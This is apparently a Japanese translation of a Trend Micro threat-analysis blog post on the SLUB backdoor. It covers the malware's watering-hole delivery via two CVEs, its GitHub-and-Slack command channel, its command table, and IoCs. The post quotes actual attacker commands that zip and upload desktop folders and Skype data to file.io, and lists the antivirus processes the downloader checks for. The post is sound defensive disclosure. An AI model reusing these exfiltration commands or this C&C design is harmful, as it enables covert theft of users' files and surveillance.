トレンドマイクロは、2019年2月下旬、新しいバックドア型マルウェア「SLUB」を送り込み感染PCから情報を窃取する攻撃を確認しました。この攻撃は、改ざんしたWebサイトに攻撃コードを仕込む「水飲み場型攻撃」によって対象PCを感染させ、リポジトリホスティングサービス「GitHub」およびコミュニケーションプラットフォーム「Slack」を利用してコマンド&コントロール(C&C)通信を行います。SLUBは、感染PCから収集したファイルを、ファイル共有サービス「file.io」を利用して攻撃者に送信します。トレンドマイクロがSLUBを確認した時点で、このマルウェアは一般的にはまだ存在を認識されていないようでした。チャットプラットフォームが悪用される可能性については以前から指摘していましたが、Slackの悪用が確認されたのは今回が初めてです。
調査によって判明した「戦略、技術、手法(Tactics, Techniques and Procedures、TTP)」から、今回の攻撃は、通常のサイバー攻撃ではなく、有能な攻撃者によって実行された隠ぺい性の高い標的型攻撃だと考えられます。トレンドマイクロは、問題の脅威についてすぐにカナダのCSIRT(Computer Security Incident Response Team)である「Canadian Centre for Cyber Security」に通知しました。同センターは水飲み場型攻撃に利用されたWebサイトの運営者に注意喚起し、この脅威への対処を支援しました。
■水飲み場型攻撃と脆弱性の利用による感染の流れ
図1は水飲み場型攻撃による感染の流れを図示したものです。
図1:感染の流れ
この攻撃は二段階で対象PCを感染させます。まず、VBScriptエンジンで遠隔からのコード実行が可能になる脆弱性「CVE-2018-8174」を利用して対象PCにダウンローダ(「Trojan.Win32.CVE20151701.E」として検出)をダウンロードします。このダウンローダはDLLとしてPowerShellで実行され、Windowsでローカルユーザの権限昇格が可能になる脆弱性「CVE-2015-1701」を利用して問題のサイトにアクセスし、SLUB(「Backdoor.Win32.SLUB.A」として検出)をダウンロードして実行します。SLUBという名前は、SLackとGitHUBから取られています。CVE-2018-8174は2018年5月に、CVE-2015-1701は2015年5月に更新プログラムが公開されています。
■ダウンローダの解析
第一段階のダウンローダは、SLUBのダウンロードの他に、ウイルス対策ソフトの有無をチェックし動作を停止する機能も備えています。対象となるウイルス対策ソフトは以下の通りです。
- V3Tray.exe
- AYAgent.aye
- navapsvc.exe
- ashServ.exe
- avgemc.exe
- bdagent.exe
- ZhuDongFangYu.exe
CVE-2015-1701を利用してローカル権限を昇格する脆弱性攻撃コードは、おそらくGitHubのリポジトリから取得したコードを変更することで作成されたと考えられます。
図2:GitHubにホストされている、変更前の脆弱性攻撃コード
■バックドア型マルウェア「SLUB」の解析
SLUBはプログラミング言語C++で書かれた特製のマルウェアです。複数のHTTPリクエストを行うためにcurlライブラリを静的にリンクしています。他にも、GitHubでコードの断片を共有するサービス「gist」からコマンドを抽出するために使用する「boost」と、Slackのチャンネルとの通信を構文解析するために使用する「JsonCpp」が静的にリンクされています。また、SlackのAPIと通信するために、2つの認証トークンが埋め込まれています。
活動の持続
SLUBは自身を「ProgramData\update\」にコピーし、レジストリキー「Run」に追加した値によって起動時に「rundll32.exe」からエクスポート関数「UpdateMPUnits」を呼び出すことで活動を持続します。レジストリ値の名前「Microsoft Setup Initializazion」にはスペルミスがあることに留意してください。
図3:レジストリキー「Run」に値を設定するコード(上)と設定された値(下)
C&C通信
SLUBは、gistからコードをダウンロードして構文解析し、実行するコマンドを取得します。「^」で始まり「$」で終わる行だけが実行され、その他の行は無視されます。
図4:gistからダウンロードしたコマンドの例
コマンドの実行結果は、Slackに作成されたワークスペースのプライベートチャンネルに認証トークンを使用して投稿されます。
この手法の副作用として、攻撃者は特定の感染PCのためのコマンドは発行できないことに留意してください。なぜなら、すべての感染PCがgistにアクセスし、有効化されたコマンドをチェックして実行するためです。
図5:SLUBとのC&C通信の仕組み
SLUBが実行するコマンド
SLUBは下の表1のコマンドとサブコマンドに対応しています。コマンドとサブコマンドは図4のようにカンマで区切られています。
コマンド | サブコマンド | 説明 |
Command Line | exec | cmd.exeでコマンドを実行 |
dnexec | コマンドをダウンロードして実行 | |
update | 既存のファイルをダウンロードしたファイルに置き換え、実行 | |
destroy | バッチスクリプトでディスクからマルウェアを削除 | |
capture | スクリーンショットを取得しSlackのチャンネルに送信 | |
file | list | 指定したファイルの一覧情報を取得 |
copy | 指定したファイルをコピー | |
delete | 指定したファイルを削除 | |
upload | ローカルファイルをfile.ioにアップロードし、ダウンロードリンクをSlackのチャンネルに投稿 | |
dir | create | ディレクトリを作成 |
remove | ディレクトリを削除 | |
proc | list | プロセス一覧を取得 |
kill | プロセスを終了 | |
drive | list | 現在のドライブの空き容量、拡張ファイル属性、容量、USNジャーナルの有効化有無、暗号化有無、等の情報を取得 |
reg | query | レジストリキーを問い合わせ |
read | レジストリキーを読み取る | |
write | レジストリキーを書き込む | |
tmout | 「sleep」関数を呼び出す |
表1:「SLUB」が対応しているサブコマンドおよびコマンド
Slackと通信する関数
Slackと通信する関数には2つの認証トークンがいくつかに分割されてハードコードされています。
図6:Slackと通信する関数
SLUBは、図7のようにユーザ名とコンピュータ名を取得し、メッセージを投稿するためのSlackのAPI「chat.postMessage」を使用してチャンネルに投稿します。
図7:ユーザ名とコンピュータ名を取得するコード
関数の中で、「title」、「text」、「channel」、「attachments」といったキーワードが確認できます。
図8:キーワードが確認できるコード
コマンドの実行結果はプライベートなSlackチャンネルに送信されますが、コマンド自体は別のSlackチャンネルに文字列「*computername:username*」と共に添付ファイルとして送信されます。
■攻撃者の関心
攻撃者はまず、感染PCについてよく知るためにコンテキスト情報を取得します。
攻撃者は実行中のプロセス、スクリーンキャプチャ、ドライブ一覧、ユーザ一覧を取得し、持続的な活動に利用するレジストリキーを確認します。
^exec,tasklist$ ^capture$ ^drive,list$ ^file,list,C:\Users\$ ^reg,read,HKEY_CURRENT_USER,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run$ |
また、以下のような既知のディレクトリから一覧情報を取得します。
^exec,dir /s C:\Users\USER\Desktop\$\ ^exec,dir /s C:\Users\USER\Downloads\$\ ^exec,dir /s C:\Users\USER\Recent\$ |
デスクトップフォルダ全体を圧縮ファイルにして送出する以下のコマンドは興味を引くものです。
^exec,powershell -Command compress-archive -path C:\Users\USER\Desktop -destinationpath C:\Users\USER\doc1$\ ^file,upload,C:\Users\USER\doc1$ |
以下のコマンドは、ユーザのデスクトップのフォルダ構成を含むCABファイルを作成します。
^exec,cd C:\Users\USER & dir /s /b /a-d C:\Users\USER\Desktop > C:\Users\USER\win12 & makecab /d CabinetName1=win34 /f C:\Users\USER\win12$ |
以下のように、ローカルに保存されたSkypeのデータも収集します。
^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage-ecs.data$ ^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data$ ^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-shm$ ^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-wal$ |
また、韓国語のワープロソフトで作成されたファイルの拡張子「HWP」を持つファイルを特定のディレクトリにコピーします。攻撃者はこのディレクトリを送出する計画のようですが、そのためのコマンドは確認されませんでした。
^exec,copy C:\Users\USER\Desktop\*.hwp C:\Users\USER\oo$ |
他にも、攻撃者は「Neologic Plus Board」と呼ばれるソフトウェアに関心を示しています。これは掲示板システムの管理に使用されるソフトウェアのようです。攻撃者が取得したファイルには数百のオンライン掲示板のURLが含まれていました。ile.ioにアップロードされたファイルの入手を試みた際には、そのほとんどがすでに削除されていました。
攻撃者が実行するコマンドから、彼らは人に関する情報に関心を抱いていると考えることができます。攻撃者は標的についてさらによく知るために、Twitter、Skype、メッセンジャーアプリケーション「KakaoTalk」、オンライン掲示板等のコミュニケーションシステム上での活動に関する情報を探索します。
■時系列
今回の攻撃のだけのために作成されたと考えられるGitHubのアカウントとSlackのワークスペースは、それぞれ2019年2月19日と20日に作成されています。また、2つのマルウェアのコンパイル日は2月22日だと推測されています。図9のように、この攻撃は迅速に立ち上げられたものであることが分かります。
図9:攻撃の時系列
■まとめ
今回の事例でまず特筆すべき点は、Slack、GitHub、file.ioという3つのオンラインサービスの悪用です。トレンドマイクロはこの攻撃が標的型攻撃の一部であると考えていますが、今のところ関連した攻撃や、SLUBまたは類似した亜種の利用も確認されていません。これは、攻撃者が自身でSLUBを開発したか、あるいは作成したマルウェアを公開していない開発者から入手したということを強く示す事実です。
次に、攻撃者が実行するコマンドと、それによって窃取する情報、そして特にコミュニケーションシステムに対して示している特別な関心から、彼らの関心が明らかに人に関する情報にあることがうかがえます。
また、この攻撃は熟練した攻撃者によって実行されたと考えられます。攻撃者は、一般に公開されているサードパーティのサービスのみを利用してマルウェアと通信するため、ドメインの登録のような自身に関する情報を残す手段を必要としません。調査の中でトレンドマイクロが確認したわずかなメールアドレスも使い捨てのメールシステムを利用したものでした。
最後に、水飲み場型攻撃に利用されたWebサイトは、政治的な活動に関心を持つ人々が興味を抱くようなものでした。ここからも、攻撃者が狙う集団または個人の性質について垣間見ることができます。
GitHubのSIRTとSlackのセキュリティチームは関連するファイルを削除し、攻撃者とマルウェアとの通信を事実上切断しました。迅速な対応に感謝します。
今回の事例についてSlackは以下のように回答しています。
トレンドマイクロのブログで述べられているように、彼らはマルウェアを使用した第三者間の不正アクセスを確認し、これに関連するSlackのワークスペースの存在について私たちに報告しました。私たちは調査を行い、規約違反を理由に1つのワークスペースの利用を停止しました。そして、この事例に関してSlackはいかなる侵害も受けていないことを確認しました。私たちはSlackのプラットフォームの悪用を防ぐことに責任をもって取り組んでおり、カスタマー向けサービス利用規約に違反する者に対してアクションを取っていきます。 |
■侵入の痕跡(Indicators of Compromise、IoCs)
本記事で解説した脅威の検出名とハッシュ値は以下の通りです。
- Trojan.Win32.CVE20151701.E:3ba00114d0ae766cf77edcdcc953ec6ee7527181968c02d4ffc36b9f89c4ebc7
- Backdoor.Win32.SLUB.A:43221eb160733ea694b4fdda70e7eab4a86d59c5f9749fd2f9b71783e5da6dd7
関連するURLは以下の通りです。
- hxxps://gist.github[.]com/kancc14522/626a3a68a2cc2a91c1ece1eed7610c8a
参考記事:
- 「New SLUB Backdoor Uses GitHub, Communicates via Slack」
by Cedric Pernet, Daniel Lunghi, Jaromir Horejsi, and Joseph C. Chen
翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)